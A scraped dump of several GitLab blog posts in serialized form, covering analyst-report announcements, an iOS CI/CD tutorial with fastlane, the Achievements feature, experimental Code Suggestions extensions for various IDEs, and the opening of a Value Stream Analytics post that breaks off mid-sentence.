a Leader in the Magic Quadrant for DevOps Platforms is a recognition of our success in both creating a comprehensive software development and delivery platform, and our role in helping mature the DevOps Platform category so that it is ready for mainstream technology adoption. \n\n![2023 Gartner® Magic Quadrant™ for DevOps Platforms](https://about.gitlab.com/images/blogimages/gartnermqfigure1.png){: .shadow}\n\nGitLab’s goal is to help our customers deliver software faster. We do this by improving developer productivity, increasing operational efficiency, securing the software supply chain, and accelerating their digital transformation. Today, GitLab is the most comprehensive AI-powered DevSecOps platform. \n\n> Download the [2023 Gartner Magic Quadrant for DevOps Platforms](http://about.gitlab.com/gartner-magic-quadrant).\n\n### Reducing complexity and increasing operational efficiency \nWe focus on reducing production risks through automation. With a best-in-class CI/CD solution, GitLab empowers teams to build and test every change as well as create scalable and repeatable software delivery processes. Our platform eliminates the complexity of sprawling toolchains, preventing context switching, reducing cognitive load, improving developer satisfaction, and driving operational efficiencies across organizations. \n\n### Shifting left with embedded security \nGitLab helps organizations meet [the need for speed and security](/the-source/ai/velocity-with-guardrails-ai-automation/) throughout the software supply chain because security is embedded within the software development lifecycle rather than bolted on as an afterthought. GitLab enables teams to automate policy enforcement, compliance frameworks, and security testing, which frees up resources. We continue to innovate in security. In the last quarter alone, we’ve introduced capabilities that support centralized policy management; expand our compliance reports, controls, and dashboards; and support default [SLSA Level 3 attestations](/direction/supply-chain/#frameworks).\n\n### Driving action with insights and metrics \nGitLab helps customers understand and analyze every aspect of the software delivery process. We are innovating on [value stream management](/solutions/value-stream-management/) through a unified data store, [tracking of DORA metrics](https://docs.gitlab.com/ee/user/analytics/dora_metrics.html), value stream dashboards, and value stream analytics – all designed to give stakeholders a unique and useful view into the end-to-end software delivery value stream. Organizations can now visualize and manage DevSecOps workflows – from ideation to delivery – to gain insight into how digital transformation and technology investments are delivering value and driving business results.\n\n### Embedding AI throughout the software development lifecycle\nGitLab is an [AI-powered DevSecOps platform](/solutions/ai/). We adopt a privacy-first approach, ensuring that organizations can be confident their intellectual property is safe within our infrastructure. We integrate AI throughout the software development lifecycle to improve cycle time, from code creation and testing to security and deployment.\n\n### Empowering innovation with open core \nGitLab is built on an open core model, enabling us to be on the leading edge of innovation. Every year, our customers and the community at-large contribute hundreds of new capabilities to our DevSecOps platform. Through our feedback issues and publicly available roadmaps, we continue to stay close to our community and invite everyone to help improve our platform. \n\nOn behalf of the GitLab team, we are honored to be named a Leader by Gartner in the 2023 Gartner Magic Quadrant for DevOps Platforms. We will continue to innovate every day to make DevSecOps even more effective for our customers and to achieve our mission to make it so [everyone can contribute](/company/mission/). \n\n> Download the [2023 Gartner Magic Quadrant for DevOps Platforms](http://about.gitlab.com/gartner-magic-quadrant).\n\n*Gartner, Magic Quadrant for DevOps Platforms, Manjunath Bhat, Thomas Murphy, Joachim Herschmann, Daniel Betts, Chris Saunderson, Hassan Ennaciri, Bill Holz, Peter Hyde, 05 June 2023* \n\n*GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally, and MAGIC QUADRANT is a registered trademark of Gartner, Inc. and/or its affiliates and are used herein with permission. All rights reserved.*\n\n*Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.*\n\n*This graphic was published by Gartner Inc. as part of a larger report and should be evaluated in the context of the entire document. The Gartner document is available upon request from Gartner B.V.*\n",[736,1307,479],{"slug":9909,"featured":6,"template":678},"gitlab-leader-gartner-magic-quadrant-devops-platforms","content:en-us:blog:gitlab-leader-gartner-magic-quadrant-devops-platforms.yml","Gitlab Leader Gartner Magic Quadrant Devops Platforms","en-us/blog/gitlab-leader-gartner-magic-quadrant-devops-platforms.yml","en-us/blog/gitlab-leader-gartner-magic-quadrant-devops-platforms",{"_path":9915,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9916,"content":9922,"config":9926,"_id":9928,"_type":16,"title":9929,"_source":17,"_file":9930,"_stem":9931,"_extension":20},"/en-us/blog/ios-cicd-with-gitlab",{"title":9917,"description":9918,"ogTitle":9917,"ogDescription":9918,"noIndex":6,"ogImage":9919,"ogUrl":9920,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9920,"schema":9921},"Tutorial: iOS CI/CD with GitLab","Learn how to create an automated CI/CD pipeline using GitLab and fastlane.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669340/Blog/Hero%20Images/john-cameron-DgRb7aAGK4k-unsplash.jpg","https://about.gitlab.com/blog/ios-cicd-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: iOS CI/CD with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darby Frey\"}],\n        \"datePublished\": \"2023-06-07\",\n      }",{"title":9917,"description":9918,"authors":9923,"heroImage":9919,"date":9905,"body":9924,"category":734,"tags":9925},[9796],"\n\nCreating an automated [CI/CD](https://docs.gitlab.com/ee/ci/) pipeline for an Apple iOS application can be challenging. Configuring build environments and managing code signing can be very time-consuming and error-prone, and when you get that all working, you still need a way to send your app to Apple.\n\nGitLab makes this much easier with [GitLab Mobile DevOps](https://docs.gitlab.com/ee/ci/mobile_devops.html).\n\nGitLab Mobile DevOps is a collection of features built right into GitLab to solve the biggest challenges mobile teams face in establishing a DevOps practice.\n\nIn this blog post, I’ll demonstrate how to set up an automated CI/CD pipeline using GitLab and [fastlane](https://fastlane.tools/).\n\n## Prerequisites\nTo get started, there are a few prerequisites you’ll need:\n\n* An Apple Developer account - [https://developer.apple.com/](https://developer.apple.com/)\n* Ruby and XCode command line tools installed on your local machine [https://docs.fastlane.tools/getting-started/ios/setup](https://docs.fastlane.tools/getting-started/ios/setup/) \n\n> Try out our [Android CI/CD with GitLab tutorial](/blog/android-cicd-with-gitlab/).\n\n## Reference project\nFor this walkthrough, we’ll use the iOS demo project for reference: [https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/demo-projects/ios-demo](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/demo-projects/ios-demo)\n\n## Install fastlane\nIf you haven’t done so yet, the first step will be to install fastlane. Do this by creating a file in the root of your project called Gemfile. Give it the following contents:\n\n```\nsource \"https://rubygems.org\"\n\ngem \"fastlane\"\n```\n\nThen, from the terminal in your project, run:\n\n```\nbundle install\n```\n\nThis command will install fastlane, and all of its related dependencies.\n\n## Initialize fastlane\nNow that fastlane is installed, we can set it up for our project. Run the following command from the terminal in your project and choose Option No. 2 since we will be targeting Test Flight in this tutorial:\n\n```\nbundle exec fastlane init\n```\n\nRunning this command will create a new folder in your project called `fastlane`. This folder will contain two files `Appfile` and `Fastfile`. \n\n![Initialize Fastlane](https://about.gitlab.com/images/blogimages/2023-04-15-ios-cicd-with-gitlab/fastlane-init.png)\n\nThe Appfile contains the configuration information for the app, and the Fastfile has some sample code that we will replace later. See the fastlane docs for more information about the configuration details in the Appfile [https://docs.fastlane.tools/advanced/Appfile/](https://docs.fastlane.tools/advanced/Appfile/)\n\n## Initialize fastlane match\nThe next step will be to set up fastlane Match, which is the part of fastlane that handles code signing. For more information on fastlane match, see the docs [https://docs.fastlane.tools/actions/match/](https://docs.fastlane.tools/actions/match/ )\n\nWe’ll start by running the following command from the terminal in your project:\n\n```\nbundle exec fastlane match init\n```\n\nThis command will prompt you to choose which storage backend you want to use (select gitlab_secure_files) and to input your project path (for example: gitlab-org/gitlab). It will then generate a fastlane Matchfile configured to use your project as the storage backend for fastlane Match.\n\n![Initialize fastlane Match](https://about.gitlab.com/images/blogimages/2023-04-15-ios-cicd-with-gitlab/match-init.png)\n\n## Generate a project access token\nNext, you'll need a GitLab Access Token to use fastlane Match from your local machine. To create a project access token, visit the Access Tokens section under Settings in your GitLab project. Create a new token with maintainer access to the “api” scope.\n\nThen run the following command from the terminal in your project replacing “YOUR_NEW_TOKEN” with the access token you just generated:\n\n```\nexport PRIVATE_TOKEN=YOUR_NEW_TOKEN\n```\n\nThis will configure fastlane to use this access token when making fastlane Match requests to your project.\n\n## Generate signing certificates\nNow that fastlane Match is configured, we can use it to generate the signing certificates and provisioning profiles for our app and upload them to GitLab.\n\nNOTE: If you already have these files for your app, see the instructions in this blog post on how to use fastlane to import your existing code signing files [/blog/mobile-devops-with-gitlab-part-3-code-signing-for-ios-with-gitlab-and-fastlane/](/blog/mobile-devops-with-gitlab-part-3-code-signing-for-ios-with-gitlab-and-fastlane/).\n\nRun the following command from the terminal in your project to generate development code signing files and upload them to GitLab.\n\n```\nbundle exec fastlane match development\n```\n\nWhen this command completes, go to the CI/CD settings page in your project and scroll down to the Secure Files section to see the files that were just generated and added to your project.\n\nWhile we’re here, we can go ahead and do that same thing for the appstore code signing files. Run the following command to generate the appstore code signing files and upload them to GitLab.\n\n```\nbundle exec fastlane match appstore\n```\n\n## Update Xcode configuration\nWith the code signing files ready to go, we have one small change to make in Xcode. In your project in Xcode, go to the Signing & Capabilities section and disable automatically managing code signing. Then, select the appropriate provisioning profile and signing certificate from the list based on your build target. The certificates we just generated will show up in that list.\n\n![Configure Xcode Provisioning Profiles](https://about.gitlab.com/images/blogimages/2023-04-15-ios-cicd-with-gitlab/xcode.png)\n\nWith all of our code signing configuration in place, we can now move on to setting up the integration with the Apple App Store.\n\n## Apple App Store integration\nThe final bit of configuration is the Apple App Store integration. To do this, we’ll need to create an API key in App Store Connect. See the instructions here to create and download the key file to your location machine. This key should have the role of App Manager. [https://developer.apple.com/documentation/appstoreconnectapi/creating_api_keys_for_app_store_connect_api](https://developer.apple.com/documentation/appstoreconnectapi/creating_api_keys_for_app_store_connect_api)\n\nOnce the key is generated, go to Settings, Integrations in your project, and click on the integration for Apple App Store Connect. You’ll be asked to supply the issuer ID and key ID from App Store Connect, along with the key file you just downloaded. With all of that configuration in place, click the Test Settings button to ensure everything works. If it gives you an error, double check your settings and try again. Once it’s working, click Save Changes to save and activate the integration. \n\nWith the integration activated, the following CI variables are added to all pipelines on protected branches and tags:\n\n* `APP_STORE_CONNECT_API_KEY_ISSUER_ID`\n* `APP_STORE_CONNECT_API_KEY_KEY_ID`\n* `APP_STORE_CONNECT_API_KEY_KEY`\n\nThese CI variables can be used by fastlane or any custom tooling to interact with the Apple App Store to upload builds, or perform other API enabled tasks.\n\n## Fastfile\nWith all of our configuration in place, we can now drop in a sample Fastfile to show how to perform the build, sign, and release actions.\n\nFrom the [sample project](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/demo-projects/ios-demo), copy the contents of the fastlane/Fastfile and paste it into the Fastfile in your project, replacing the existing content. \n\n[https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/demo-projects/ios-demo/-/blob/main/fastlane/Fastfile](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/demo-projects/ios-demo/-/blob/main/fastlane/Fastfile)\n\nThis sample Fastfile contains two lanes, which are actions fastlane can execute. The lanes in this file are `build` and `beta`. \n\n### Build\nThe build lane will perform just a couple of actions to `setup_ci`, `match`, and `build_app`. This will use the development certificate we generated with fastlane Match earlier to build and sign the app for development. \n\n### Beta\nThe beta lane takes a few more steps to `setup_ci`, `match`, `app_store_connect_api_key`, `increment_build_number`, `build_app`, and `upload_to_testflight`. This lane will use the appstore certificates we generated with faslane Match earlier to build and sign the app for an appstore release. This lane also uses the App Store Connect integration to connect to the app store to determine the next build number to use, and to upload the final build to Test Flight. \n\n### .gitlab-ci.yml\nWith the fastlane configuration ready to go, the last step is to hook it up to GitLab CI. \n\nFrom the [sample project](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/demo-projects/ios-demo), copy the contents of the `.gitlab-ci.yml` file and paste it into the project. \n\n[https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/demo-projects/ios-demo/-/blob/main/.gitlab-ci.yml](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/demo-projects/ios-demo/-/blob/main/.gitlab-ci.yml )\n\nThis is a simplified CI configuration that created two CI jobs to run each of the lanes in fastlane on the GitLab macOS shared runners. The build job will run for all CI pipelines and the beta job will only be run on CI pipelines on the master branch. The beta job is also manually triggered, so you can control when the beta release is pushed to Test Flight. \n\nWith all of this in place, commit all of these changes and push them up to your project. The CI pipeline will kick off, and you can see these jobs in action. \n\nCover image by \u003Ca href=\"https://unsplash.com/@john_cameron?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">John Cameron\u003C/a> on \u003Ca href=\"https://unsplash.com/photos/DgRb7aAGK4k?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Unsplash\u003C/a>\n{: .note}\n",[4103,110,696],{"slug":9927,"featured":6,"template":678},"ios-cicd-with-gitlab","content:en-us:blog:ios-cicd-with-gitlab.yml","Ios Cicd With Gitlab","en-us/blog/ios-cicd-with-gitlab.yml","en-us/blog/ios-cicd-with-gitlab",{"_path":9933,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9934,"content":9940,"config":9945,"_id":9947,"_type":16,"title":9948,"_source":17,"_file":9949,"_stem":9950,"_extension":20},"/en-us/blog/gitlab-leader-forrester-wave-integrated-software-delivery-platforms",{"title":9935,"description":9936,"ogTitle":9935,"ogDescription":9936,"noIndex":6,"ogImage":9937,"ogUrl":9938,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9938,"schema":9939},"GitLab named Leader in The Forrester Wave Integrated Software Delivery Platforms 2023","The Forrester report recognized GitLab for its roadmap, which includes supply chain security, enhanced UI, granular security and compliance controls, and pipeline security.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682752/Blog/Hero%20Images/Forrestercoverimage.png","https://about.gitlab.com/blog/gitlab-leader-forrester-wave-integrated-software-delivery-platforms","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab named Leader in The Forrester Wave Integrated Software Delivery Platforms 2023\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2023-06-06\",\n      }",{"title":9935,"description":9936,"authors":9941,"heroImage":9937,"date":9942,"body":9943,"category":8943,"tags":9944},[711],"2023-06-06","\n\nDemand for a platform approach to software delivery is increasing as organizations realize the inefficiencies and costs of stitched-together solutions for software delivery, siloed visibility, broken feedback loops, and increased risk of cyberattacks. We recognized the value of the platform approach early on — and we believe that GitLab's single-application DevSecOps Platform is the best way for organizations to improve developer productivity, build high-performing teams, secure the software supply chain, and implement cloud transformations. \n\n## GitLab’s DevSecOps Platform recognized\n![Your image alt text](https://about.gitlab.com/images/blogimages/forresterwave2.png){: .shadow.small.left.wrap-text} In its evaluation, and in the first year of this report, Forrester has named GitLab as the only **Leader** in **The Forrester WaveTM: Integrated Software Delivery Platforms, Q2 2023**. The report evaluated 13 integrated software delivery platform (ISDP) vendors across 26 criteria based on current offering, strategy, and market presence. GitLab scored the highest possible in the criteria of platform-incorporated security tools test automation, roadmap, community, and pricing flexibility and transparency.\n\nWe are excited to see the market mature and recognize the value of an integrated software delivery platform — a strategy GitLab has followed from the start. Our DevSecOps platform is offered as a single application with a unified data store, increasing efficiency and collaboration and providing value unmatched by traditional vendors and complex toolchains. It provides essential automation needed by various teams in the software delivery lifecycle, along with security and governance needed by security professionals. We also integrate artificial intelligence (AI) throughout the SDLC by incorporating it into our comprehensive enterprise DevSecOps platform.\n\n> Download [The Forrester Wave: Integrated Software Delivery Platforms, Q2 2023 report](https://page.gitlab.com/forrester-wave-integrated-software-delivery-platforms-2023.html).\n\nRecognizing our leadership and continued innovation, the report emphasizes that GitLab “has led the industry towards consolidated ISDPs. GitLab's strategy includes an on-par vision to deliver an excellent developer experience without sacrificing security or compliance.... GitLab is great for enterprises wishing to consolidate their best-of-breed toolchain into one, high-performing ISDP.”\n\n> “GitLab is far ahead of its competitors and provides one product which offers an easy-to-set-up, easy-to-start product with all these capabilities integrated,” says **Daniel Widerin, Head of Software Delivery, Hilti**\n\n## Roadmap gets high scores\n\nThe Forrester report recognized GitLab for its roadmap and focus on community. “[GitLab’s] roadmap gets leading scores and includes enhanced supply chain security, enhanced UI, granular security and compliance controls, and pipeline security – all things enterprises need.”\n\nThe research firm added: “[GitLab’s] innovation is also good, going beyond traditional developers to include AI/ML engineering. GitLab is an open core product that not only invests heavily in the open source software (OSS) community but also enables its customers to contribute to the product, earning it high scores for community.”\n\nGitLab is trusted by more than 30 million users and more than 50% of Fortune 100 organizations. We will continue to focus on integrating transformative technologies into our DevSecOps Platform, such as AI, into all parts of the software delivery lifecycle, software supply chain security, and value stream analytics, to enable customers to accelerate and secure software development and delivery.\n\n> Download [The Forrester Wave: Integrated Software Delivery Platforms, Q2 2023 report](https://page.gitlab.com/forrester-wave-integrated-software-delivery-platforms-2023.html).\n\n",[736,1307,479],{"slug":9946,"featured":6,"template":678},"gitlab-leader-forrester-wave-integrated-software-delivery-platforms","content:en-us:blog:gitlab-leader-forrester-wave-integrated-software-delivery-platforms.yml","Gitlab Leader Forrester Wave Integrated Software Delivery Platforms","en-us/blog/gitlab-leader-forrester-wave-integrated-software-delivery-platforms.yml","en-us/blog/gitlab-leader-forrester-wave-integrated-software-delivery-platforms",{"_path":9952,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9953,"content":9958,"config":9963,"_id":9965,"_type":16,"title":9966,"_source":17,"_file":9967,"_stem":9968,"_extension":20},"/en-us/blog/introducing-achievements-system",{"title":9954,"description":9955,"ogTitle":9954,"ogDescription":9955,"noIndex":6,"ogImage":9425,"ogUrl":9956,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9956,"schema":9957},"Introducing the GitLab Achievements feature","Boost engagement among your employees and community with achievements.","https://about.gitlab.com/blog/introducing-achievements-system","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing the GitLab Achievements feature\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nick Veenhof\"},{\"@type\":\"Person\",\"name\":\"Christina Lohr\"}],\n        \"datePublished\": \"2023-06-05\",\n      }",{"title":9954,"description":9955,"authors":9959,"heroImage":9425,"date":9960,"body":9961,"category":736,"tags":9962},[7579,830],"2023-06-05","\n\nAchievements have been a popular tool for gamification in various contexts, from social media platforms to educational institutions. It's also known to be a great recognition method for open source community contributors, of which GitLab has many. Recently, we introduced a new feature that allows organizations to award achievements to their GitLab users. This feature has the potential to increase engagement and productivity within technical organizations. Let us show you how.\n\nAchievements are a way to reward users for their activity on GitLab. As a namespace maintainer or owner, you can create custom achievements for specific contributions, which you can award to or revoke from users based on your criteria. For GitLab specifically, there were already many forms of recognition available for our community, such as leaderboards for our hackathons, swag that is sent out as a token of gratitude, etc. However, there was no single place to get an overview of these achievements. This led to a broader investigation into how we could empower not just the GitLab contributor community, but also our large user base, both on SaaS and self-hosted.\n\nSo far, we've awarded achievements to all our GitLab [Core Team](https://about.gitlab.com/community/core-team/) members and also to the winners of our most recent [hackathon](/community/hackathon/). Congratulations to all winners and our core members. You deserve these awards! We have a lot more ideas to award our wider community for their achievements, so stay tuned if you are an active contributor to GitLab.\n\n![Achievements on a GitLab user profile](https://about.gitlab.com/images/blogimages/achievements_on_user_profile.png){: .shadow}\n\n## Benefits of achievements\nBy using achievements in your organization you can start to create a culture of continuous learning and skill development. The options are limitless, from rewarding users for touching a new piece of the codebase to rewarding users that have proven to be exceptionally collaborative. Receiving an achievement can be a powerful motivator for an employee. It shows that their work is valued and recognized by their peers and supervisors. Awarding your users for obtaining a skill could lead to a more skilled workforce, which benefits both the employee and the organization.\n\nIf rolled out well, it can create a flywheel effect in your organization, leading to a competitive advantage in the market due to increased innovation and a faster cycle time. \n\nDon't believe us on our merit, start to implement [achievements](https://docs.gitlab.com/ee/user/profile/achievements.html) to reward your contributors.\n\n## How to start to use achievements\nAchievements are generally available for all tiers, both SaaS and self-hosted. See the [achievements documentation](https://docs.gitlab.com/ee/user/profile/achievements.html#achievements-experiment) to learn how to create, delete, award, and revoke achievements.\n\nIf you are an organization using GitLab, consider implementing achievements within GitLab to start rewarding behavior that drives your organization's goals.\n\nLet us know what you think in this [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/405153).\n",[267,754,736],{"slug":9964,"featured":6,"template":678},"introducing-achievements-system","content:en-us:blog:introducing-achievements-system.yml","Introducing Achievements System","en-us/blog/introducing-achievements-system.yml","en-us/blog/introducing-achievements-system",{"_path":9970,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9971,"content":9976,"config":9981,"_id":9983,"_type":16,"title":9984,"_source":17,"_file":9985,"_stem":9986,"_extension":20},"/en-us/blog/extending-code-suggestions",{"title":9972,"description":9973,"ogTitle":9972,"ogDescription":9973,"noIndex":6,"ogImage":8601,"ogUrl":9974,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9974,"schema":9975},"ML experiment: Extending Code Suggestions to more development environments","Learn how GitLab is experimenting with extending Code Suggestions to Visual Studio, JetBrains IDE, Neovim, and other environments in our ongoing 'AI/ML in DevSecOps' series.","https://about.gitlab.com/blog/extending-code-suggestions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"ML experiment: Extending Code Suggestions to more development environments\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kai Armstrong\"}],\n        \"datePublished\": \"2023-06-01\",\n      }",{"title":9972,"description":9973,"authors":9977,"heroImage":8601,"date":9978,"body":9979,"category":791,"tags":9980},[9201],"2023-06-01","\n\n\u003Ci>This blog is the latest post in an ongoing series about GitLab's journey to \u003Ca href=\"/blog/ai-ml-in-devsecops-series/\">build and integrate AI/ML into our DevSecOps platform\u003C/a>. The first blog post can be found \u003Ca href=\"/blog/what-the-ml-ai/\">here\u003C/a>. Throughout the series, we'll feature blogs from our product, engineering, and UX teams to showcase how we're infusing AI/ML into GitLab.\u003C/i>\n\nWe've been continuing to [extend the reach](/blog/code-suggestions-for-all-during-beta/) of GitLab Code Suggestions and make [improvements](/blog/code-suggestions-improves-developer-productivity/) to enhance developer productivity. Continuing with our theme of experimentation and iteration, we're now announcing experimental support for Code Suggestions in Visual Studio, JetBrains IDEs, Neovim, and other development environments.\n\n## Code Suggestions for Visual Studio\n\nIn this rapid prototype, [Michael Eddington](https://gitlab.com/mikeeddington), Staff Backend Engineer, built an extension to bring GitLab Code Suggestions to Visual Studio. With this experiment, you can begin writing code and have suggestions provided to help accelerate your development efforts while you type.\n\n![GitLab Code Suggestions in Visual Studio](https://about.gitlab.com/images/blogimages/code-suggestions-visual-studio-ide.gif){: .shadow}\n\nYou can follow our instructions for [getting started](https://gitlab.com/gitlab-org/editor-extensions/experiments/gitlab-code-suggestions-visual-studio-experiment#getting-started) to try this extension out today. Provide your feedback about this extension in [this issue](https://gitlab.com/gitlab-org/editor-extensions/experiments/gitlab-code-suggestions-visual-studio-experiment/-/issues/1).\n\n## Code Suggestions for JetBrains IDEs\n\nIn this rapid prototype, [Dinesh Bolkensteyn](https://gitlab.com/dbolkensteyn), Senior Vulnerability Researcher, built a plugin to bring GitLab Code Suggestions to JetBrains IDE. With this experiment, you can begin writing code and have suggestions provided to help accelerate your development efforts while you type.\n\n![GitLab Code Suggestions in JetBrains IDE](https://about.gitlab.com/images/blogimages/code-suggestions-jetbrains-ide.gif){: .shadow}\n\nYou can follow our instructions for [getting started](https://gitlab.com/gitlab-org/editor-extensions/experiments/gitlab-code-suggestions-jetbrains-experiment#getting-started) to try it out today. Provide your feedback about this extension in [this issue](https://gitlab.com/gitlab-org/editor-extensions/experiments/gitlab-code-suggestions-jetbrains-experiment/-/issues/2).\n\n## Code Suggestions Language Server for Neovim and more\n\nIn this rapid prototype, [Julian Thome](https://gitlab.com/julianthome), Staff Vulnerability Research Engineer, and [Michael Henriksen](https://gitlab.com/mhenriksen), Senior Vulnerability Research Engineeer, developed a language server that leverages the Language Server Protocol to provide GitLab Code Suggestions in Neovim or any other [editor with LSP support](https://microsoft.github.io/language-server-protocol/implementors/tools/). \n\n![GitLab Code Suggestions in Neovim](https://about.gitlab.com/images/blogimages/code-suggestions-neovim.gif){: .shadow}\n\nThis language server allows you to configure any supporting editor or IDE to start receiving GitLab Code Suggestions as you type. We've provided instructions for getting started with [Neovim](https://gitlab.com/gitlab-org/editor-extensions/experiments/gitlab-code-suggestions-language-server-experiment/-/blob/main/docs/nvim.md), [Sublime Text](https://gitlab.com/gitlab-org/editor-extensions/experiments/gitlab-code-suggestions-language-server-experiment/-/blob/main/docs/sublime.md), and [Emacs](https://gitlab.com/gitlab-org/editor-extensions/experiments/gitlab-code-suggestions-language-server-experiment/-/blob/main/docs/emacs.md) for your convenience. Provide your feedback about these integrations in [this issue](https://gitlab.com/gitlab-org/editor-extensions/experiments/gitlab-code-suggestions-language-server-experiment/-/issues/2).\n\n## Iterating on AI/ML features\n\nWhile these are just experiments today, we are iterating on how to effectively bring mature IDE integrations like these to our customers. We'll continue to refine these integrations and improve the experience to provide you with streamlined code suggestions while you work, wherever you choose to work. We're also working to expand our scope beyond these IDEs so if you have an interest in seeing an additional editor/IDE supported, [let us know](https://gitlab.com/groups/gitlab-org/-/epics/2431).\n\nThis experiment is just the start of the ways we're infusing GitLab with AI/ML capabilities to help GitLab users become more efficient and effective at their jobs. We are [looking across the software development lifecycle](/blog/what-the-ml-ai/) for painful and time-consuming tasks that are ideal for AI-assisted features. We'll continue to share these demos throughout this blog series.\n\nInterested in using these AI-generated features? [Join our waitlist](https://forms.gle/9eeUkPJauKsbLaoz5) and share your ideas.\n\nContinue reading our \"[AI/ML in DevSecOps](/blog/ai-ml-in-devsecops-series/)\" series.\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[943,695,754,790],{"slug":9982,"featured":6,"template":678},"extending-code-suggestions","content:en-us:blog:extending-code-suggestions.yml","Extending Code Suggestions","en-us/blog/extending-code-suggestions.yml","en-us/blog/extending-code-suggestions",{"_path":9988,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9989,"content":9994,"config":9999,"_id":10001,"_type":16,"title":10002,"_source":17,"_file":10003,"_stem":10004,"_extension":20},"/en-us/blog/value-stream-total-time-chart",{"title":9990,"description":9991,"ogTitle":9990,"ogDescription":9991,"noIndex":6,"ogImage":6954,"ogUrl":9992,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9992,"schema":9993},"Value stream optimization with GitLab's Total Time Chart","Learn how this new analytics feature provides immediate insights about the time spent in each stage of your workstream.","https://about.gitlab.com/blog/value-stream-total-time-chart","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Value stream management: Total Time Chart simplifies top-down optimization flow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Haim Snir\"}],\n        \"datePublished\": \"2023-06-01\",\n      }",{"title":9995,"description":9991,"authors":9996,"heroImage":6954,"date":9978,"body":9997,"category":962,"tags":9998},"Value stream management: Total Time Chart simplifies top-down optimization flow",[2485],"\n\nUnderstanding where time is spent during the development lifecycle is a crucial insight for software leaders when optimizing the value delivery to customers. Our new Value Stream Analytics Total Time Chart is a visualization that helps managers uncover how long it actually takes to complete the development process from idea to production. Managers also can learn how much time teams spend in each stage of the workflow.\n \n![The VSA Total Time Chart displays the average time to complete each value stream stage.](https://about.gitlab.com/images/blogimages/2023-05-07-vsa-overview.gif){: .shadow}\nValue Stream Analytics Total Time Chart\n{: .note.text-center}\n\nValue Stream Analytics is available out of the box in the GitLab platform. It surfaces the process and value delivery metrics through the unified data model that stores all the records around development efforts. Value Stream Analytics uses a backend process to collect and aggregate stage-level data into [three core objects](https://docs.gitlab.com/ee/user/group/value_stream_analytics/#how-value-stream-analytics-works):\n\n- Value streams - container objects with stage list \n- Value stream stage - an event pair of start and end events\n- Value stream stage events - the smallest building blocks of the value stream. For example, from Issue created to Issue first added to board. See the [list of available stage events](https://docs.gitlab.com/ee/user/group/value_stream_analytics/#value-stream-stage-events).\n\n> [Register for the GitLab 16 webinar](/sixteen/), where we will unveil the latest innovations in our AI-powered DevSecOps platform.\n\nWe added in the new chart the stages breakdown as a stacked area chart to make it easier to understand how each stage contributes to the total time, and how that changes over time. Each area in the chart represents a stage. By comparing the heights of each area, you can get an idea about how each stage contributes to the total time of the value stream. We also added a tool tip with the stages breakdown sorted top to bottom, to help you understand the stages in their correct order.\n\nThe new chart is available in the Value Stream Analytics Overview page (on the left sidebar, select **Analytics > Value stream**). This page includes four sections:\n  1.  Data filter text box - on the top of the Overview page you can use the [Data filters](https://docs.gitlab.com/ee/user/group/value_stream_analytics/#data-filters) to view data that matches specific criteria or date range. \n  2. Stage navigation bar - below the filter text box you can use the the stage navigation bar to investigate what happened in the specific stage and to identify the items (issues/MRs) that are slowing down the stage time.\n  3. Key metrics tiles - the summary of the stream performance is displayed, above the chart in the [Key metrics tiles](https://docs.gitlab.com/ee/user/group/value_stream_analytics/#key-metrics). \n  4. Overview charts - the newly added Total Time Chart and the [Task by type](https://docs.gitlab.com/ee/user/group/value_stream_analytics/#view-tasks-by-type) chart. \n\nBut that's not all. The Total Time Chart also simplifies the top-down optimization flow, starting from the Value Streams Dashboard organization-level view to a drill-down into the performance of each project:\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/EA9Sbks27g4\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n\nFrom the Value Stream Analytics overview page, you can drill down from Key metrics tiles into other GitLab analytics pages for deeper 